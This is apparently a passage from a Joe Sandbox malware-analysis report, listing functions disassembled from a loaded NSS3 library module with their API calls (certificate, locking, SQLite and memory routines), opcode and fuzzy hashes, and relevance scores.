Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 03d90afb333ae8789827f6ddcef2d210297e5e2377ad9e84df74d3c9612f32d6
Instruction ID: 615599f535009a65d5502297b4d81900486941780f620687f4df2c3a0f347fc4
Opcode Fuzzy Hash: 03d90afb333ae8789827f6ddcef2d210297e5e2377ad9e84df74d3c9612f32d6
Instruction Fuzzy Hash: 7251F5B1A00200EBEB109F69DC44AAB77B9AF9674DB14C43DEC1997702EF31D845C699

Function 6C680C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C681444,?,00000001,?,00000000,00000000,?,?,6C681444,?,?,00000000,?,?), ref: 6C680CB3

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C681444,?,00000001,?,00000000,00000000,?,?,6C681444,?), ref: 6C680DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C681444,?,00000001,?,00000000,00000000,?,?,6C681444,?), ref: 6C680DEC

Part of subcall function 6C6A0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C642AF5,?,?,?,?,?,6C640A1B,00000000), ref: 6C6A0F1A
Part of subcall function 6C6A0F10: malloc.MOZGLUE(00000001), ref: 6C6A0F30
Part of subcall function 6C6A0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6A0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C681444,?,00000001,?,00000000,00000000,?), ref: 6C680DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C681444,?,00000001,?,00000000), ref: 6C680E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C681444,?,00000001,?,00000000,00000000,?), ref: 6C680E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C681444,?,00000001,?,00000000,00000000,?,?,6C681444,?,?,00000000), ref: 6C680E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C681444,?,00000001,?,00000000,00000000,?), ref: 6C680E79

Part of subcall function 6C691560: TlsGetValue.KERNEL32(00000000,?,6C660844,?), ref: 6C69157A
Part of subcall function 6C691560: EnterCriticalSection.KERNEL32(?,?,?,6C660844,?), ref: 6C69158F
Part of subcall function 6C691560: PR_Unlock.NSS3(?,?,?,?,6C660844,?), ref: 6C6915B2

Part of subcall function 6C65B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C661397,00000000,?,6C65CF93,5B5F5EC0,00000000,?,6C661397,?), ref: 6C65B1CB
Part of subcall function 6C65B1A0: free.MOZGLUE(5B5F5EC0,?,6C65CF93,5B5F5EC0,00000000,?,6C661397,?), ref: 6C65B1D2

Part of subcall function 6C6589E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6588AE,-00000008), ref: 6C658A04
Part of subcall function 6C6589E0: EnterCriticalSection.KERNEL32(?), ref: 6C658A15
Part of subcall function 6C6589E0: memset.VCRUNTIME140(6C6588AE,00000000,00000132), ref: 6C658A27
Part of subcall function 6C6589E0: PR_Unlock.NSS3(?), ref: 6C658A35

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: d7904a30215434cf40ff0d580d29baac3bfee7b5573a417acbadae964fd624ba
Instruction ID: 63f392d485fecf3afbd21abb644ee84c3b258e9bfc2a64b352ed74a56057b096
Opcode Fuzzy Hash: d7904a30215434cf40ff0d580d29baac3bfee7b5573a417acbadae964fd624ba
Instruction Fuzzy Hash: 1351C7F6D022005FEB009F64DC85AAF37A8AF46358F550424ED1597B12F731ED1986BA

Function 6C636E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C636ED8
sqlite3_value_text.NSS3(?,?), ref: 6C636EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C636FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C636FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C636FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C637010
sqlite3_value_blob.NSS3(?,?), ref: 6C63701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C637052

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: bcfdd8358b1a271b7e8cb58609288c00551dc0666230212ee9767797e9006da2
Instruction ID: 841521b142651250b52b1a85e278effa557c03d39515d5c4235531f9fd6f8839
Opcode Fuzzy Hash: bcfdd8358b1a271b7e8cb58609288c00551dc0666230212ee9767797e9006da2
Instruction Fuzzy Hash: E661B1B1E142298BDB00CF65CE407EEB7B2BF45308F286168D419AB751E735DC15CB98

Function 6C6A8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6A7313), ref: 6C6A8FBB

Part of subcall function 6C6A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C648298,?,?,?,6C63FCE5,?), ref: 6C6A07BF
Part of subcall function 6C6A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6A07E6
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A081B
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6A7313), ref: 6C6A9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6A7313), ref: 6C6A903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6A7313), ref: 6C6A909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6A7313), ref: 6C6A90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6A7313), ref: 6C6A90F1

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6A7313), ref: 6C6A906B

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6A7313), ref: 6C6A9128

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 2bd7b65947a6d555f7b625a72ff7a9b12d680ba8658dbd36c12ca3a764951f52
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 5751A271A002018FEB109FAADC44B66B3F5AF4535CF254069D925D7B61EB32EC06CBA9

Function 6C659C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C658850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C660715), ref: 6C658859
Part of subcall function 6C658850: PR_NewLock.NSS3 ref: 6C658874
Part of subcall function 6C658850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C65888D

PR_NewLock.NSS3 ref: 6C659CAD

Part of subcall function 6C7098D0: calloc.MOZGLUE(00000001,00000084,6C630936,00000001,?,6C63102C), ref: 6C7098E5

Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307AD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307CD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307D6
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5C204A), ref: 6C6307E4
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,6C5C204A), ref: 6C630864
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C630880
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,6C5C204A), ref: 6C6308CB
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308D7
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308FB

TlsGetValue.KERNEL32 ref: 6C659CE8
EnterCriticalSection.KERNEL32(?,?,6C65ECEC,6C662FCD,00000000,?,6C662FCD,?), ref: 6C659D01
TlsGetValue.KERNEL32(?,?,?,6C65ECEC,6C662FCD,00000000,?,6C662FCD,?), ref: 6C659D38
EnterCriticalSection.KERNEL32(?,?,6C65ECEC,6C662FCD,00000000,?,6C662FCD,?), ref: 6C659D4D
PR_Unlock.NSS3 ref: 6C659D70
PR_Unlock.NSS3 ref: 6C659DC3
PR_NewLock.NSS3 ref: 6C659DDD

Part of subcall function 6C6588D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C660725,00000000,00000058), ref: 6C658906
Part of subcall function 6C6588D0: EnterCriticalSection.KERNEL32(?), ref: 6C65891A
Part of subcall function 6C6588D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C65894A
Part of subcall function 6C6588D0: calloc.MOZGLUE(00000001,6C66072D,00000000,00000000,00000000,?,6C660725,00000000,00000058), ref: 6C658959
Part of subcall function 6C6588D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C658993
Part of subcall function 6C6588D0: PR_Unlock.NSS3(?), ref: 6C6589AF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 6547e6c4b1d3d9707688cd69e3f9e626a41365378bbdbd2811da5c0783285567
Instruction ID: 8a6329c5cc5176889668610fe97f742a7cec04d3ce2e184596e333cc6bcea2d5
Opcode Fuzzy Hash: 6547e6c4b1d3d9707688cd69e3f9e626a41365378bbdbd2811da5c0783285567
Instruction Fuzzy Hash: 765183B0A05B058FDB00EF68C1846AEBBF0BF4534DF658669D898DBB10DB30E855CB95

Function 6C759EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C759EC0
EnterCriticalSection.KERNEL32(?), ref: 6C759EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C759F73
EnterCriticalSection.KERNEL32(?), ref: 6C759FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C759FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C759FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C75A01D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 3b9ffe86ce0aa8fdd71a5f71b5ac1de48751d46bbbe7e9563fc0d57171f8198a
Instruction ID: c2c41abc8cdd35743b5ce5e279c2f19a4c0691c9bb5b77e15918b00471a4b8af
Opcode Fuzzy Hash: 3b9ffe86ce0aa8fdd71a5f71b5ac1de48751d46bbbe7e9563fc0d57171f8198a
Instruction Fuzzy Hash: 4151F2F2900200CBCB109F21D98864AB7F4FF24319F19867AD85957B52EB31F896CBD1

Function 6C64DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C64DCFA

Part of subcall function 6C709DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DC6
Part of subcall function 6C709DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DD1
Part of subcall function 6C709DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C709DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C64DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C64DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C64DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C64DD8F

Part of subcall function 6C6606A0: TlsGetValue.KERNEL32 ref: 6C6606C2
Part of subcall function 6C6606A0: EnterCriticalSection.KERNEL32(?), ref: 6C6606D6
Part of subcall function 6C6606A0: PR_Unlock.NSS3 ref: 6C6606EB

CERT_DestroyCertificate.NSS3(?), ref: 6C64DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C64DDB7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 688e00fdd10f2d52cd28267bff3d714f15ec3c90b22f976aaba86ac76c0ef826
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: AF218CB6E011259BDB01DEA4DC409DEBBF8AF05318F14C024EC18A7701E721E914CBEA

Function 6C6D5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5F72

Part of subcall function 6C63ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C63ED8F
Part of subcall function 6C63ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C63ED9E
Part of subcall function 6C63ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C63EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5FCC
free.MOZGLUE(?,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5FF4
free.MOZGLUE(?,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6DAADB,?,?,?,?,?,?,?,?,00000000,?,6C6D80C1), ref: 6C6D6036

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 976cd8fbca90d7cae7fae2bd50575058b3a30d695cd7d217acc5249dbc22d227
Instruction ID: 9d833b9bdfb6a768375b4172946f29ccaeaca6960cb1d7a4a789f3c7761f4df5
Opcode Fuzzy Hash: 976cd8fbca90d7cae7fae2bd50575058b3a30d695cd7d217acc5249dbc22d227
Instruction Fuzzy Hash: 09214DF1604B009BEB119F75D808BD377E8AB46709F100828E46ECB640D736F419CB9A

Function 6C643C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6B460B,?,?), ref: 6C643CA9
EnterCriticalSection.KERNEL32(?), ref: 6C643CB9
PL_HashTableLookup.NSS3(?), ref: 6C643CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C643CD6
PR_Unlock.NSS3 ref: 6C643CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C643CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C643D03
PR_Unlock.NSS3 ref: 6C643D15

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: df0879116e7497a849be08183c36c73c4b71182f51ecf21d6fc06b017cc5b925
Instruction ID: 2a72b87df1e5479f39bbf4b1cad3d65c433a1573f05bfca177f956272ef2e867
Opcode Fuzzy Hash: df0879116e7497a849be08183c36c73c4b71182f51ecf21d6fc06b017cc5b925
Instruction Fuzzy Hash: F51102B6A00505ABEF012A25AC058AB3AB8EB0325DF19C130ED1C83711FB22D85886D9

Function 6C649C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6611C0: PR_NewLock.NSS3 ref: 6C661216

free.MOZGLUE(?), ref: 6C649E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C649E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C649E4E
TlsGetValue.KERNEL32 ref: 6C649EA2

Part of subcall function 6C659500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C659546

EnterCriticalSection.KERNEL32(?), ref: 6C649EB6
PR_Unlock.NSS3 ref: 6C649ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C649F18

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2fc7888b69b70a4d33049007a97c525a533f357559ccae050ae72bd8390a309b
Instruction ID: 93372f5ac3a902ad8e4c012eebac347fb7cd097c059cde3d580156ed3982699b
Opcode Fuzzy Hash: 2fc7888b69b70a4d33049007a97c525a533f357559ccae050ae72bd8390a309b
Instruction Fuzzy Hash: 5D81F7B1A40601ABEB109F34DD41AAB77E9FF4634CF14C528E84987B41FB31E925C79A

Function 6C65DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65AB10: DeleteCriticalSection.KERNEL32(D958E852,6C661397,5B5F5EC0,?,?,6C65B1EE,2404110F,?,?), ref: 6C65AB3C
Part of subcall function 6C65AB10: free.MOZGLUE(D958E836,?,6C65B1EE,2404110F,?,?), ref: 6C65AB49
Part of subcall function 6C65AB10: DeleteCriticalSection.KERNEL32(5D5E6C85), ref: 6C65AB5C
Part of subcall function 6C65AB10: free.MOZGLUE(5D5E6C79), ref: 6C65AB63
Part of subcall function 6C65AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C65AB6F
Part of subcall function 6C65AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C65AB76

TlsGetValue.KERNEL32 ref: 6C65DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C65DD0E
PK11_IsFriendly.NSS3(?), ref: 6C65DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C65DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65DEA6
PR_Unlock.NSS3(?), ref: 6C65DF08

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
